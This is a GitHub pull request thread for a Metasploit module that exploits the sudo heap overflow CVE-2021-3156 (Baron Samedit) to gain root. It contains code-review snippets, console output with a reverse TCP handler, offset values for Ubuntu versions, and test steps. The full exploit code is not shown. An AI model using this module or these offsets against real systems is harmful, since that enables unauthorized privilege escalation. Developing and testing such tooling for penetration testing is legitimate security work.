CVE-2021-3156 Sudo LPE (AKA: Baron Samedit) #14715
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
zeroSteiner
force-pushed
the
feat/cve-2021-3156
branch
from
11324a3
to
c33c08b
Compare
FWIW; I've tested blasty's exploit on a few systems. The |
bcoles
reviewed
Feb 4, 2021
| fail_with(Failure::NotFound, 'The gcc binary was not found') unless has_gcc? | ||
|
|
||
| path = datastore['WritableDir'] | ||
| cmd_exec("mkdir -p #{path}/libnss_X") |
There was a problem hiding this comment.
The File mixin has a helper for this.
Suggested change
| cmd_exec("mkdir -p #{path}/libnss_X") | |
| mkdir("#{path}/libnss_X") |
# grep -rn "def mkdir" lib/msf -A 15
lib/msf/core/post/file.rb:81: def mkdir(path)
lib/msf/core/post/file.rb-82- vprint_status("Creating directory #{path}")
lib/msf/core/post/file.rb-83- if session.type == 'meterpreter'
lib/msf/core/post/file.rb-84- vprint_status("Meterpreter Session")
lib/msf/core/post/file.rb-85- result = session.fs.dir.mkdir(path)
lib/msf/core/post/file.rb-86- else
lib/msf/core/post/file.rb-87- if session.platform == 'windows'
lib/msf/core/post/file.rb-88- result = cmd_exec("mkdir \"#{path}\"")
lib/msf/core/post/file.rb-89- else
lib/msf/core/post/file.rb-90- result = cmd_exec("mkdir -p '#{path}'")
lib/msf/core/post/file.rb-91- end
lib/msf/core/post/file.rb-92- end
lib/msf/core/post/file.rb-93- vprint_status("#{path} created")
lib/msf/core/post/file.rb-94- register_dir_for_cleanup(path)
lib/msf/core/post/file.rb-95- result
lib/msf/core/post/file.rb-96- end
There was a problem hiding this comment.
After switching to this method, the module started to fail.
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. sudo 1.8.31 maybe a vulnerable build.
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_fs_mkdir: Operation failed: 1
[*] Exploit completed, but no session was created.
The meterpreter I was running was mettle, so it looks like there's an issue present. Until I can get that sorted out, I'm leaving it as is.
There was a problem hiding this comment.
Nevermind, there's no bug here. When a meterpreter session is used, mkdir fails when the directory already exists and throws an exception. When a shell session is used and the directory already exists it does not fail which was what I ran into. I'll update the module in the next round of changes to use this mixin method.
There was a problem hiding this comment.
Nevermind, there's no bug here.
There are multiple bugs here.
This module will break if the writable path contains spaces. The mixin uses quotes (') on the directory path to prevent issues with spaces.
When a meterpreter session is used,
mkdirfails when the directory already exists and throws an exception. When a shell session is used and the directory already exists it does not fail which was what I ran into.
The inconsistencies between shell mkdir and meterpreter mkdir have been discussed previously, but no issue was created and the inconsistency was never resolved.
However, this situation shouldn't even be possible. The path used to load the library should be random. In instances where parts of the path must be static (ie, "libnss_X/P0P_SH3LLZ_ .so.2"), a hidden directory with a random name should be created to house all dropped files (ie, ".<random>/libnss_X/P0P_SH3LLZ_ .so.2"). The entire directory can then be vaporised during cleanup.
On that topic, this module does not perform cleanup. If one user exploits this vulnerability to gain a root shell, then another user tries to run the exploit using the same writable directory, the exploit will fail as described above, regardless of whether the mkdir mixin method was used or mkdir was called manually, due to permission issues on the directory and library artifacts.
There is apparently an issue where exploitation will fail in instances where the user is permitted to use It's not something I've run into - all my tests have been on user accounts not listed in sudoers. |
@bcoles, that's a good data point, as @smcintyre-r7 and I were unable to get the default values in 20.04.1 to work. (Notice that the original PoC used lc length of 212 for 20.04 and 18.04; this uses 200. It worked for both Spencer's test vm and mine.) I just realized I made a mistake earlier today while testing 18.04.1, and it does appear to work well with lc length of 212: But I retested and 20.04.1 does not work with an lc length of 212, but 200 works: |
bwatters-r7
reviewed
Feb 4, 2021
documentation/modules/exploit/linux/local/cve_2021_3156_sudo.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/local/cve_2021_3156_sudo.md
Outdated
Show resolved
Hide resolved
timwr
reviewed
Feb 4, 2021
bwatters-r7
reviewed
Feb 4, 2021
Also, 19.04 is vulnerable too ;) BR https://www.youtube.com/watch?v=qs0XHTvtt_c |
|
Thanks @nu11secur1ty, if you want to send us the offsets and versions that would be helpful. I'm planning on adding additional targets next week. |
Ok, so. You can check here dear friend! |
Ubuntu 18.04.1 using manual valuesUbuntu 20.04.1 using target 1I noticed that the getuid returned |
Yeah I noticed the same thing. If you use a couple of the set prepend options you can fix that though. Maybe they should be set as default options. |
|
Retest with targeting info |
bwatters-r7
added a commit
that referenced
this pull request
Feb 4, 2021
Merge branch 'land-14715' into upstream-master
Release NotesNew module |
|
Not sure why the module targets Ubuntu only? The offsets in blasty's exploit work for the |
The offsets for Ubuntu 19.04 are the same as Ubuntu 18.04 and Ubuntu 20.04 in blasty's exploit. Ubuntu 19.04, GLIBC 2.29-0ubuntu2, sudo 1.8.27 |
10 tasks
|
New exploit is available for several platforms. Confirmed it works on CentOs 8.1: |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This adds an initial exploit for CVE-2021-3156 which is a heap-based buffer overflow in the
sudoutility which came out recently. This is based on the blasty PoC which is ideal because it allows us to load a payload library. I had to update and wrap the C code in some setup that would create a PTY and set the working directory to function correctly. While I was hoping to avoid requiring GCC to be present on the remote system, it's required to compile the code to craft theexecvecall. Other options I explored like Python, do not expose the level of control necessary for crafting the environment variables to facilitate exploitation. Metasm may fix this if it can link againstlibutiland it's something on my list for a future revision.From my testing on Ubuntu 20.04.1 x64, it has been highly-reliable. I've tested the exploit module from both a Meterpreter session and a shell session. Because of the setup logic I added, it should be pretty independent of the operating environment. I'm not aware of any scenarios in which it'll fail (assuming the target is vulnerable that is).
Future Work
Add a check methodgccdependencyVerification
Testing is pretty simple. You'll want to test against the one functioning target (Ubuntu 20.04.1 x64)
msfconsoleuse exploit/multi/ssh/sshexecto get a session (either shell or meterpreter) as a normal useruse exploit/linux/local/cve_2021_3156_sudoExample